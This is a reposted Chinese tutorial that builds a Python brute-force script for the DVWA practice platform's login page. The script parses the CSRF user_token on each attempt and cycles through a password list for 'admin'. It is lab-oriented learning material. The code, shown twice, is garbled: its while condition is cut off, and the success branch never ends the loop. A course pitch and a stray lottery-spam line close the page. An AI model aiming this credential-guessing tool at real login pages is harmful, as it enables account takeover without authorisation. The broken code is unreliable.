安基網 首頁 編程 Python 查看內容

python編寫滲透測試工具之一——dvwa登錄爆破

2019-6-17 11:05| 投稿: xiaotiger |來自: 互聯網


免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!

摘要: dvwa是一個開源的由php語言編寫、使用mysql數據庫的漏洞利用平臺,平臺涵蓋web應用常見的安全漏洞,如命令執行、文件包含、SQL注入、XSS、CSRF等安全漏洞,供安全研究人員和白帽子進行web安全的學習和演練。本文主要內容是使用python編寫dvwa登錄的暴力破解腳本。dvwa的本地搭建這里就不贅述了,網上有 ...

dvwa是一個開源的由php語言編寫、使用mysql數據庫的漏洞利用平臺,平臺涵蓋web應用常見的安全漏洞,如命令執行、文件包含、SQL注入、XSS、CSRF等安全漏洞,供安全研究人員和白帽子進行web安全的學習和演練。

本文主要內容是使用python編寫dvwa登錄的暴力破解腳本。dvwa的本地搭建這里就不贅述了,網上有很多介紹的文章大家可自行度娘,本次環境使用的是docker技術在kali linux虛擬機上進行的搭建。

一、爆破原理

爆破的原理很簡單,就是對用戶名和密碼進行不斷嘗試,直至成功。一般在滲透過程中會配置相應的字典,以提高爆破成功的效率。好了,這里不多說,我們打開dvwa的登錄界面,輸入正確的用戶名admin和錯誤的密碼123(正確的密碼是password),查看登錄結果。

從登錄結果明顯可以看到"Login Failed"字樣,既登錄失敗。這里值得關注的是,查看發送的數據包,提交的post數據中有user_token,且每次刷新頁面的時候user_token都會有變化,這會不會是防止burpsuite類工具爆破的一種機制呢。經查,服務器在每次登錄失敗或刷新頁面時都會返回一個hidden域,內容就是這個csrf_token。并且會在每次發送登錄請求時,提交這個數據。

現在有一個猜想,如果我登錄提供正確的用戶名admin和正確的密碼password,但不提交這個user_token,會怎么樣呢?服務器會拒絕嗎?結果如圖3所示,服務器返回結果是"CSRF token is incorrect"。可見,我們要達到爆破的目的,必須在提交參數時包含上次服務器返回給我們的csrf_token。

二、代碼編寫

引入相應的包,因為csrf_token在服務器端校驗。為了保證會話的連續性,應保證Session的一致。

import requests
from bs4 import BeautifulSoup
s = requests.Session()
csrf_token=''

2.識別頁面的csrf_token,本文采用的方法是使用BeastifuSoup解析頁面,提取hidden標簽內csrf_token的value,

#第一步,獲取網頁的csrf_token
url='http://192.168.140.131/login.php'
heads = {}
heads[
'User-Agent'] = 'Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19'
req = s.get(url)
req.encoding = 'UTF-8'
html = req.text
soup_texts = BeautifulSoup(html,'lxml')
#print(soup_texts)
csrf_token=soup_texts.find('input', {'name': 'user_token'}).get('value')

3.開始登錄頁面的爆破,攜帶頁面的csrf_token、讀取字典內的密碼,發送登錄請求。如果登錄失敗則頁面會返回“Login Failed”,識別失敗頁面的csrf_token、更換密碼并繼續發送請求,直至所有字典遍歷完畢或登錄成功。這里為了演示方便我設置了一個小字典,存放在列表中password=['abc','123','abcd','password','ssccc']。大家在實戰中,完全可以從txt文件中讀取密碼。

#設置密碼字典password
password=['abc','123','abcd','password','ssccc']
lenth=len(password)
count=0
flag=True
while(flag and count data = {'username': 'admin', 'password':password[count], 'Login': 'Login', 'user_token': csrf_token}
req = s.post(url=url, headers=heads, data=data)
req.encoding = 'UTF-8'
html = req.text
if 'Login failed' in html:
soup_texts = BeautifulSoup(html, 'lxml')
csrf_token = soup_texts.find('input', {'name': 'user_token'}).get('value')
print("用戶名:admin,密碼:{}登錄失敗".format(password[count]))
count+=1
else:
flag = True
print("用戶名:admin,密碼:{}登錄成功".format(password[count]))
count+=1

4.爆破效果

三、完整代碼

import requests
from bs4 import BeautifulSoup
s = requests.Session()
csrf_token=''
def main():
#第一步,獲取網頁的csrf_token
url='http://192.168.140.131/login.php'
heads = {}
heads[
'User-Agent'] = 'Mozilla/5.0 (Linux; Android 4.1.1; Nexus 7 Build/JRO03D) AppleWebKit/535.19 (KHTML, like Gecko) Chrome/18.0.1025.166 Safari/535.19'
req = s.get(url)
req.encoding = 'UTF-8'
html = req.text
soup_texts = BeautifulSoup(html,'lxml')
#print(soup_texts)
csrf_token=soup_texts.find('input', {'name': 'user_token'}).get('value')
#設置密碼字典password
password=['abc','123','abcd','password','ssccc']
lenth=len(password)
count=0
flag=True
while(flag and count data = {'username': 'admin', 'password':password[count], 'Login': 'Login', 'user_token': csrf_token}
req = s.post(url=url, headers=heads, data=data)
req.encoding = 'UTF-8'
html = req.text
if 'Login failed' in html:
soup_texts = BeautifulSoup(html, 'lxml')
csrf_token = soup_texts.find('input', {'name': 'user_token'}).get('value')
print("用戶名:admin,密碼:{}登錄失敗".format(password[count]))
count+=1
else:
flag = True
print("用戶名:admin,密碼:{}登錄成功".format(password[count]))
count+=1
main()

我自己是一名從事了多年的Python老程序員,辭職目前在做自己的Python私人定制課程,今年整理了一份最適合2019年學習的Python學習干貨,免費贈送給每一位小伙伴

如果你也想當一位程序員,學習Python,那么幫忙轉發一下然后再關注小編后私信“01”可以得到我整理的這些Python資料了(私信方法:點擊我頭像進我主頁有個上面有個私信按鈕)



小編推薦:欲學習電腦技術、系統維護、網絡管理、編程開發和安全攻防等高端IT技術,請 點擊這里 注冊賬號,公開課頻道價值萬元IT培訓教程免費學,讓您少走彎路、事半功倍,好工作升職加薪!

本文出自:https://www.toutiao.com/a6703138906520420871/

免責聲明:本站系公益性非盈利IT技術普及網,本文由投稿者轉載自互聯網的公開文章,文末均已注明出處,其內容和圖片版權歸原網站或作者所有,文中所述不代表本站觀點,若有無意侵權或轉載不當之處請從網站右下角聯系我們處理,謝謝合作!


鮮花

握手

雷人

路過

雞蛋

相關閱讀

最新評論

 最新
返回頂部
云南快乐十分开奖结果前三